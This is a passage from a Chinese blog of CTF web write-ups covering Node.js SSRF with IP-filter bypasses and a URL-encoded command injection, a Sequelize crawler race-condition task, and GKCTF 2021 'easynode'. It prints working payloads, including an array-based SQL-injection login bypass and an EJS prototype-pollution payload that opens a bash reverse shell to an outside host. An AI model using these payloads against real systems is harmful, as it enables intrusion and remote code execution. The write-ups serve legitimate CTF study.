const { URL } = require('url');

const u = 'http://127.0.0.1:8080/path/name?query=string#hash';

let parsedUrl = new URL(u);
console.log(parsedUrl);
/**URL {
href: 'http://127.0.0.1:8080/path/name?query=string#hash',
origin: 'http://127.0.0.1:8080',
protocol: 'http:',
username: '',
password: '',
host: '127.0.0.1:8080',
hostname: '127.0.0.1',
port: '8080',
pathname: '/path/name',
search: '?query=string',
searchParams: URLSearchParams { 'query' => 'string' },
hash: '#hash'
}**/
console.log(parsedUrl.href);//http://127.0.0.1:8080/path/name?query=string#has
console.log(parsedUrl.hostname)//127.0.0.1

ok,回到题目上,很明显可以发现GET请求下的检测更加严格,它是对ip进行检测,而POST请求下只是对传入url中的主机名进行检测

其实仔细看还是有办法进行绕过的,我们先通过POST请求下先绕过对href的检测,这个还是比较简单的,直接利用进制转化0177.0.0.1或者利用127.1都可以进行绕过然后再通过POST请求发送一个json请求

589

590

也就是说可以通过在POST请求中的body构造一个ssrf漏洞

1
2
3
4
5
request(dest,(err,result,body)=>{
res.json(body);
console.log(body);
console.log("1");
})

这里来看传入的请求,发现我们已经从POST请求跳转到了GET请求中,

591

同时由于我们构造的请求的ip0177.0.0.1也就绕过了blacklist.indexOf(req.ip)!=-1的检测,然后我们看到下面

var u=req.query.url.replace(/[\"\']/ig,'');将两种引号全部过滤了,然后 let log=`echo ‘${url.parse(u).href}’>>/tmp/log`; ,最后res.json({data:fs.readFileSync('/tmp/log').toString()});,也就是说我们可以通过使用exec方法,把flag写进/tmp/log,然后读取出flag

那么就想到语句

1
echo 'http://123'cp /flag /tmp/log'>>/tmp/log'

先来看一下传入的东西

592

尝试写入命令

1
http://127.0.0.1'cp /flag /tmp/log

593

很明显'被过滤了,但这里可以利用用编码绕过

1
http://127.0.0.1:3007/debug?url=http://127.0.0.1%2527cp /flag /tmp/log

594

这样整道题的基本思路就已经出来了,然后我们来看一下一些小的东西,为了防止'>>/tmp/log 的干扰,我们直接在接末尾添加**%23进行注销,避免空格过多次的编码,直接利用$IFS**进行代替

1
2
request(dest,(err,result,body)=>{
res.json(body);

这里仍会对传输进行一次解码,也就是说我们要进行三次编码进行绕过

1
http://0177.0.0.1:3000/debug?url=http://%252527;cp$IFS/flag$IFS/tmp/log;%2523

回到题目环境进行测试,发现前面都是对的,就是传入处的闭合存在问题还

595

他仍然将整个语句当作字符进行传入,看了一下大佬的文章,发现这里存在node.js 的二次解码,可以通过**@**进行限制,这样我们重新构造payload

1
http://0177.0.0.1:3000/debug?url=http://%252527@a;cp$IFS/flag$IFS/tmp/log;%2523

[2021祥云杯]cralwer_z

在题目之前先记一下sequelize查询的语句,这道题里面用到了很多

findByPk

通过主键来查询一条记录

1
await UserModel.findByPk(id).then(......

findOne

根据id查询一条记录

1
const favors = await UserModel.findOne()

findAll

查询所有信息

1
const users = await User.findAll();

这里先简单介绍几种常见的,然后我们来看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
const express = require('express');
const crypto = require('crypto');
const utils = require('../utils');
const { User } = require('../database');

const router = express.Router();

router.get('/', async (_, res) => res.render('index'));


router.get('/signin', (_, res) => res.render('signin'));


router.post('/signin', async (req, res) => {
let { username, password } = req.body;
if (typeof (username) !== "string" || typeof (password) !== "string") {
return res.render('signin', { error: "Parameters error." });
}
const user = await User.findOne({ where: { username: username } });
if (!user || !utils.checkPassword(password, user.password)) {
return res.render('signin', { error: "Invalid username or password." });
}
utils.signIn(req, user)
return res.redirect('/user');
});


router.get('/logout', (req, res) => utils.signOut(req, () => res.redirect('/')));


router.get('/signup', (_, res) => res.render('signup'));


router.post('/signup', async (req, res) => {
let { username, password, password_confirm } = req.body;
if (typeof (username) !== "string" || typeof (password) !== "string" || typeof (password_confirm) !== "string") {
return res.render('signup', { error: "Parameters error." });
}
if (/^\s*$/.test(username) || /^\s*$/.test(password) || /^\s*$/.test(password_confirm)) {
return res.render('signup', { error: `Paramaters can't be empty.` });
}
if (password !== password_confirm) {
return res.render('signup', { error: `Password doesn't match.` });
}
try {
const user = await User.findOne({ where: { username: username } });
if (user !== null) {
return res.render('signup', { error: "User already exists." });
} else {
await User.create({ username: username, password: utils.hashPassword(password), bucket: `https://${crypto.randomBytes(16).toString('hex')}.oss-cn-beijing.ichunqiu.com/` });
}
} catch (err) {
return res.render('signup', { error: "Error creating user." });
}
return res.redirect('/signin');
});



module.exports = router;

简单审计了一下index.js,很基础的一个登录注册,没什么东西,唯一一个看起来感觉可能有点东西的 bucket: https://${crypto.randomBytes(16).toString('hex')}.oss-cn-beijing.ichunqiu.com/,这里先记下不提

看一下user.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
const express = require('express');
const crypto = require('crypto');
const createError = require('http-errors');
const { Op } = require('sequelize');
const { User, Token } = require('../database');
const utils = require('../utils');
const Crawler = require('../crawler');

const router = express.Router();


router.get('/', async (req, res) => {
const user = await User.findByPk(req.session.userId)
return res.render('index', { username: user.username });
});


router.get('/profile', async (req, res) => {
const user = await User.findByPk(req.session.userId);
return res.render('user', { user });
});


router.post('/profile', async (req, res, next) => {
let { affiliation, age, bucket } = req.body;
const user = await User.findByPk(req.session.userId);
if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string") {
return res.render('user', { user, error: "Parameters error or blank." });
}
if (!utils.checkBucket(bucket)) {
return res.render('user', { user, error: "Invalid bucket url." });
}
let authToken;
try {
await User.update({
affiliation,
age,
personalBucket: bucket
}, {
where: { userId: req.session.userId }
});
const token = crypto.randomBytes(32).toString('hex');
authToken = token;
await Token.create({ userId: req.session.userId, token, valid: true });
await Token.update({
valid: false,
}, {
where: {
userId: req.session.userId,
token: { [Op.not]: authToken }
}
});
} catch (err) {
next(createError(500));
}
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
res.redirect(`/user/verify?token=${authToken}`)
} else {
// Well, admin won't do that actually XD.
return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." });
}
});


router.get('/verify', async (req, res, next) => {
let { token } = req.query;
if (!token || typeof (token) !== "string") {
return res.send("Parameters error");
}
let user = await User.findByPk(req.session.userId);
const result = await Token.findOne({
token,
userId: req.session.userId,
valid: true
});
if (result) {
try {
await Token.update({
valid: false
}, {
where: { userId: req.session.userId }
});
await User.update({
bucket: user.personalBucket
}, {
where: { userId: req.session.userId }
});
user = await User.findByPk(req.session.userId);
return res.render('user', { user, message: "Successfully update your bucket from personal bucket!" });
} catch (err) {
next(createError(500));
}
} else {
user = await User.findByPk(req.session.userId);
return res.render('user', { user, message: "Failed to update, check your token carefully" })
}
})


// Not implemented yet
router.get('/bucket', async (req, res) => {
const user = await User.findByPk(req.session.userId);
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(user.bucket)) {
return res.json({ message: "Sorry but our remote oss server is under maintenance" });
} else {
// Should be a private site for Admin
try {
const page = new Crawler({
userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
referrer: 'https://www.ichunqiu.com/',
waitDuration: '3s'
});
await page.goto(user.bucket);
const html = page.htmlContent;
const headers = page.headers;
const cookies = page.cookies;
await page.close();

return res.json({ html, headers, cookies});
} catch (err) {
return res.json({ err: 'Error visiting your bucket. ' })
}
}
});



module.exports = router;

/profile路由下get传参没东西,POST传参将bucket赋值给personalBucket,更新数据库生成token,然后对传入的bucket进行正则表达式判断,成功后执行重定向到**/verify路由下,并打印token**

ok然后来看**/verify**路由

先对token进行检测,检测通过后根据req.session.userId查询第一条信息,查询到跟新valid: false,同时传输bucket: user.personalBucket

最后看到第三个路由**/bucket**

根据req.session.userId查找到信息,对user.bucket进行正则表达检测,通过检测后创建一个新对象Crawler,调用goto方法,最后发送一个请求

我们先去看一下goto方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
goto(url) {
return new Promise((resolve, reject) => {
try {
this.crawler.visit(url, () => {
const resource = this.crawler.resources.length
? this.crawler.resources.filter(resource => resource.response).shift() : null;
this.statusCode = resource.response.status
this.headers = this.getHeaders();
this.cookies = this.getCookies();
this.htmlContent = this.getHtmlContent();
resolve();
});
} catch (err) {
reject(err.message);
}
})
}

goto方法实现this.crawler.visit,返回第一个有效的具有resource属性的对象,也就是我们传入的一个url参数,而这个url正好是我们一直在传递的user.bucket

所以我们来捋一下思路

这里我们前后两次用到正则表达,第一次我们需要正则表达成功,才能跳转到**/verify**路由,而第二次我们则需要正则表达失败,去实现发送请求

而跟踪bucket我们可以发现他在访问**/profile路由时就会存入personalBucket,那也就是说我们同时发送两个请求访问/profile路由,第二个请求中的bucket会对personalBucket造成覆盖,完成覆盖后我们在让其跳转到/verify路由,就可以实现我们对personalBucket**控制

然后我们利用goto方法,去实现反弹shell 或者 cat /flag

前面的都挺好理解的,这里就不做演示,但我最后一步应该是传进去了,连接没有成功,不知道为什么了,先放着,以后再说

596

[GKCTF 2021]easynode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken} = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());

const decode = (str) =>{
str = str.replace(/\'/g,'\\\'');
return str;
}

let safeQuery = async (username,password)=>{

const waf = (str)=>{
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}

const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){

str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}

}
return str;
}

username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}

app.get('/', async(req,res)=>{
const html = await ejs.renderFile(__dirname + "/public/index.html")
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
})


app.post('/login',function(req,res,next){

let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})


app.get("/admin",async (req,res,next) => {
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
username = result
var sql = `select board from board where username = "${username}"`;

var query = JSON.parse(JSON.stringify(await select(sql).then(close())));

board = JSON.parse(query[0].board);
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
}
else{
res.json({'msg':'stop!!!'});
}
});

app.post("/addAdmin",async (req,res,next) => {
let username = req.body.username;
let password = req.body.password;
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
select(sql).then(close()).catch( (err)=>{console.log(err)});
var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.end('add admin successful!')
}
else{
res.end('stop!!!');
}
});


app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token

var data = JSON.parse(req.body.data)

let result = verifyToken(token);
if(result !='err'){
username = result;
var sql =`select board from board where username = "${username}"`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} ))));

board = JSON.parse(JSON.stringify(query[0].board));
for(var key in data){
var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
extend({},JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});


app.listen(1337, () => {
console.log(`App listening at port 1337`)
})

这里简单审计一下,发现存在漏洞点

1
2
3
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;

extend(board,JSON.parse(addDIV));

看到这个合理想到

1
2
{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/9001 0>&1\"');var __tmp2"}}

关于为什么调用outputFunctionName,这里贴一个博客这里有具体讲了调用outputFunctionName原因

这样我们只需要控制**${username}** ${key} 和 **${data[key]}**这三个变量,就可以实现原型链的污染,然后我们来仔细看这三个变量的控制,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var data =  JSON.parse(req.body.data)

let result = verifyToken(token);
if(result !='err'){
username = result;
var sql =`select board from board where username = "${username}"`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} ))));

board = JSON.parse(JSON.stringify(query[0].board));
for(var key in data){
var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
extend({},JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});

也就是需要构造dateusername,这里还有一个对token的验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const verifyToken = (data) => {
let token = data;
let cert = fs.readFileSync(path.join(__dirname, './pem/key.key'));//公钥 可以自己生成
let res;
try {
let result = jwt.verify(token, cert)
// let result = jwt.verify(token, cert) || {};
_id = result.data;
_date = result.exp;
_creatDate = result.iat;
let {exp = 0} = result, current = Math.floor(Date.now() / 1000);
if (current <= exp) {
res = result.data || {};
}
} catch (e) {
res = 'err';
}
return res;
}

其实仔细看语句可以发现

1
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`

username应该是当作用户名传入的,我们只需要在**/addAdmin路由下创建一个_proto_**身份的账号,而 ${key}${data[key]}直接从req.body.data传入即可

那么token又从哪里来呢

那么我们继续向上追踪

1
2
3
4
5
6
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}

这里可以输出token

1
2
3
4
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{

但最前面存在一层检测,所以整体思路就以及很明显了,绕过对usernamepassword的检测,获得我们需要的token,同时构造username完成我们对原型链污染的构造

这样我们就先来看怎么绕过这层检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
let safeQuery =  async (username,password)=>{

const waf = (str)=>{
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}

const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){

str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}

}
return str;
}

username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}

对一些特殊字符进行替换,同时检测usernamepassword的长度,这里对字符的检测的判断运用**==弱比较,也就是我我们同样可以利用username[]**数组的形式进行绕过,但单使用数组绕过不成功

我们来看到substr函数的定义

从字符串中返回一个指定的子串

1
SUBSTRING(字符串,开始位置,长度)

也就是说我们还得利用到JavaScript的性质 str = str.slice(0, i) + "*" + str.slice(i + 1, str.length),通过拼接将数组转化成字符串

这里一开始很好奇这样就可以构造完成了,而且不会超出限制,那么substr函数限制20个字符的意义是什么,操作的时候发现不对,没有达到一定长就无法成功登录,这里应该也是因为substr函数的原因

1
username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123

597

得到token后去**/addAdmin创建一个proto**账号

598

然后再**/adminDIV路由下传入data**

1
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/9001 0>&1\"');var __tmp2"}

这里应该是也可以直接进行命令执行的

1
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('cat /flag');var __tmp2"}

我这里环境烂球了,懒得接着做测试了,就这样吧

评论